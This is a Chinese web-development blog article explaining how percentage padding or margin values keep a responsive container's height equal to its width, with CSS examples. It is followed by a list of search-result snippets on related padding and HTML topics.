    既然如此,就可以利用padding或margin的百分比值实现高度自适应了,在响应式网站中可以解决许多问题。(也可用于占位,避免元素闪烁),完美地弥补了元素高度无法和宽度自适应保持一致性的缺陷。

    一、高度自适应占位

    假设有这么个场景:

    e6ceae431b27a01109024689c98e8f96.png

    如上图所示,图片都是正方形(为了方便举例用正方形,实际上只要固定长宽比例即可)。

    在PC端图片的容器的宽高都固定多少像素即可,即使图片加载不出来容器都不会变型或者排版都不会乱。但是在移动端,由于各机型分辨率相差太大,固定px是绝对不可能的,终究还得靠百分比来实现自适应。

    宽度的百分比没有什么缺陷,值设置为百分比即可,但是容器高度height没法设置,因为容器宽高的参照物不一样,而且需求是高度与宽度一致,所以无法通过为容器高度设置百分比来达成,那就只能靠内容高度撑开。

    容器的内容高度就是图片的高度,若图片是正方形,则图片高度与图片宽度一致,也即与容器宽度一致,看起来没什么问题,但实际上,在浏览器把图片加载出来以前,图片的高度是零,就不会把容器撑开,如下图所示:

    8c78230597521c2f8048f4eb5f2ecf60.png

    即使图片加载速度很快,容器在图片加载前后都会有一个变型的过程,也就是俗称的“闪烁”,而如果图片加载不出来,整体布局就更加是难看。那么要如何做到不靠图片本身就能把容器的高度撑开?方法是利用padding属性。

    二、设置容器的padding-bottom/top

    使用margin/padding的百分比值来解决自适应高度的关键在于:容器margin/padding的百分比参照物是父元素的宽度,而容器的width的百分比参照物也是父元素的宽度,俩属性参照物一致,那么想要把这俩属性的值统一起来就很简单了,只要把想要获取的高度值除以父元素的宽度,得出来的百分比就是padding-top/padding-bottom的百分比值。

    CSS代码:

    #container {

    width: 50%; //父元素宽度的一半

    background-color: red; //仅为了方便演示

    }

    .placeholder {

    padding-top: 50%; //与width: 50%;的值保持一致,也就是相当于父元素宽度的一半。

    }

    HTML代码:

    结果,容器的视觉效果如下:

    5078d262d9f275b795d729077c989412.png

    容器的盒子模型如下:

    87b15ff041810ebfd6fe731e7983bbf3.png

    从盒子模型可以看出,虽然容器的内容高度为0,但由于有了跟内容宽度一致的padding,因此整体视觉效果上像是被撑开了。此方案浏览器兼容性很不错,唯一的缺陷是无法给容器设置max-height属性了,因为max-height只能限制内容高度,而不能限制padding(设置box-sizing: border-box;也不可以让max-height限制padding)。

    三、给子元素/伪元素设置margin/padding撑开容器

    从上面的方案看出max-height失效的原因是容器的高度本来就是padding撑的,而内容高度为0,max-height无法起作用。那想要优化这一点,唯一的方法就是利用内容高度来撑开而非padding,这个方案跟消除浮动所用的方案非常相似:给容器添加一个子元素/伪元素,并把子元素/伪元素的margin/padding设为100%,使其实际高度相当于容器的宽度,如此一来,便能把容器的高度撑至与宽度一致了。由于添加子元素与HTML语义化相悖,因此更推荐使用伪元素(:after)来实现此方案。

    CSS代码:

    #container {

    width: 50%;

    position: relative;

    background-color: red;

    overflow: hidden; //需要触发BFC消除margin折叠的问题

    }

    .placeholder:after {

    content: '';

    display: block;

    margin-top: 100%; //margin 百分比相对父元素宽度计算

    }

    HTML代码:

    此时视觉效果上与上一方案无异,重点来看看此时容器的盒子模型:

    0c7a42267609947fdd709c8f2c857476.png

    可以看出,此时容器的内容高度与内容宽度一致,实现了通过max-height来限制容器高度。另外,使用margin的话需要考虑margin折叠的问题(参考),padding则无此烦恼。

    四、容器内部如何添加内容

    上述方案只提及如何不依赖容器内容来撑开容器,那么,在撑开容器后,如何给容器添加内容(图片、文本等)?可以给子元素添加position: absolute;实现。

    CSS代码:

    #container {

    width: 50%;

    position: relative;

    background-color: red;

    overflow: hidden; //需要触发BFC消除margin折叠的问题

    }

    .placeholder:after {

    content: '';

    display: block;

    margin-top: 100%; //margin 百分比相对父元素宽度计算

    }

    img {

    position: absolute;

    top: 0;

    width: 100%;

    }

    HTML代码:

    1x.jpg

    效果如下:

    089e046ea8cced1e7ad7c797202f401f.png

    五、宽高不一致的自适应怎么做?

    嗯...不知道。

    六、其它的宽高自适应方案

    css3新推出的长度单位vw,就是以屏幕宽度为参照物的,只要给元素的width和height都用上vw单位,那width跟height就可以轻易设成一样的了,vw的浏览器兼容性如下:

    18aea4d2fd157db55f022bc99133996d.png

    展开全文
  • jQ获取border、margin和padding

    千次阅读 2018-07-23 17:40:00
    //分别取得margin-top与padding-top值 var bordT = $('img').outerWidth() - $('img').innerWidth(); var paddT = $('img').innerWidth() - $('img').width(); var margT = $('img').outerWidth(true) - $('img')....
  • 我现在需要使用一个外部JS文件来获取存储在输入中的文本,并将它们显示在registered course下“名字姓氏注册参加以下课程:学期:课程:“这是我写的html代码University RegistrationUniversity Regis...
  • 但是HTML DOM 元素对象方法中却没有获取padding及实际内容宽度的方法。 解决方案 我们可以通过WIndow对象提供的getComputedStyle() 获取指定元素的 CSS 样式。 语法 let style = window.getComputedStyle(element, ...
  • html获取验证码(pc端)

    千次阅读 2021-02-06 16:49:30
    html获取验证码代码(pc端) 效果: 已将html代码和css代码和js代码,放在了一起。 我自己引入了jquery,别忘记了。 如果觉得样式不好看可以自行调整css。 代码: <!DOCTYPE html> <html lang="en"> <...
  • !... 用插件看标签是这样,看起来还保留了上下padding,但是我想要这种效果: ...(我想获取文字到父元素的top距离,然后在另一个canvas画布上写字,如果不这样做在画布上画的文字顶部的距离是不对的。。所以求帮忙。。)
  • jquery获取html包括当前本身

    千次阅读 2016-07-26 09:47:22
    html <label class="control-label col-xs-12 col-sm-3 no-padding-right">方法参数: <div class="col-xs-12
  • innerWidth()方法用于获得包括内边界(padding)的元素宽度,outerWidth()方法用于获得包括内边界(padding)和边框(border)的元素宽度,如果outerWidth()方法的参数为true则外边界(margin)也会被包括进..jQuery中的....
  • 1、offset(1)概述offset就是偏移量,使用offset的相关属性可以动态地得到该元素的位置、大小等获取元素距离父元素(父元素要有定位)的位置获得元素的自身大小返回数值不带单位2、获取位置test.test{height: 100px;...
  • HTML: width,height

    2021-06-13 17:47:50
    在进行前端页面开发时,width(width,offsetWidth,scrollWidth,clientWidth)height(height,offsetHeight,scrollHeight,clientHeight)是我们最容易搞混乱的这里就特别记录一下:1、offsetWidthwidth+padding+border)...
  • AES/ECB/PKCS5Padding加解密

    千次阅读 2021-05-07 14:43:16
    /** * 加密算法/加密模式/填充类型 * 本例采用AES加密,ECB加密模式,PKCS5Padding填充 */ private static final String CIPHER_MODE = "AES/ECB/PKCS5Padding"; /** * 设置iv偏移量 * 本例采用ECB加密模式,不需要...
  • Html 原生获取表单提交数据 // 提示框 淡入淡出 <style type="text/css"> .message { display: none; padding: 20px; position: fixed; top: 40%; left: 40%; border-radius: 5px; background: ...
  • 谷歌和火狐浏览器下的input的padding不同表现,input在PC端和移动端的布局差别。
  • Padding Oracle Attack 分组密码 在密码学中,分组加密(英语:Block cipher),又称分块加密或块密码,是一种对称密钥算法。它将明文分成多个等长的模块(block),使用确定的算法和 对称密钥对每组分别加密解密。...
  • 除了Adsy建议(将容器的位置设置为固定),您可以:1)在容器上使用绝对位置:...padding: 10px;position:absolute;}.child {width: 100px;height: 100px;float: left;}.child:nth-child(even) {background: green;}...
  • 攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量) 攻击者能够触发密文的解密过程,且能够知道密文的解密结果 1.2 猜解明文 根据之前的分析,padding只可能有以下几种情况:...
  • js 获取 html元素的样式有三种方式:style、getComputedStyle 和 currentStyle等。区别在于: (1)style 只能获取行间样式,但能设置样式。 (2)getComputedStyle 和 currentStyle 能够获取 行间样式/非行间样式...
  • 一、通过设置Height:0+padding实现主要通过padding百分比根据宽度计算实现的,将父元素Height设为0,子元素设置padding-top或padding-bottomdiv{border:1px solid #333;}.father{width:300px;f...
  • 为免读者不方便获取img素材,以下用div.img代替了img元素作为案例: <!DOCTYPE html> < html lang = " en " > < head > < meta charset = " UTF-8 " /> < meta name = " viewport " content ...
  • var bordT = $('img').outerWidth() - $('img').innerWidth(); var paddT = $('img').innerWidth() - $('img').width(); var margT = $('img')....转载于:https://www.cnblogs.com/gongshunkai/p/6250700.html
  • 获取html元素宽高的两种方式 // 首先是取到元素 var main = document.getElementById('main'); // 第一种方式 var mainWidth = main.offsetWidth,mainHeight = main.offsetHeight; // 第二种方式 var mainWidth2 = ...
  • html中根据class和id获取/修改标签的值、属性 利用id获取: var x=document.getElementById(&quot;main&quot;); 利用id修改样式: document.getElementById('header_body').style.paddingRight =&...
  • 随机抽取一注双色球 双色球规则: 双色球 投注区分为红色球号码区和蓝色球...使用html+css+js实现随机抽取双色球一组号码 HTML代码: <body> <input type="button" id="btn" value="选号" /> <...
  • 在 正常浏览器弹出模式下是正常可以获取到源码的。但是在无头模式下 出现错误。 无头模式配置如下 # 创建chrome参数对象 options = webdriver.ChromeOptions() options.add_argument('--no-sandbox') # ...
  • 这篇文章给大家介绍的内容是关于html实现获取元素尺寸宽高的代码(纯代码),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。获取元素尺寸宽高#div{background-color: #00ff00;width: 60px;height: ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 153,841
精华内容 61,536
关键字:

获取html padding

友情链接: SeriesHybridVehicle.zip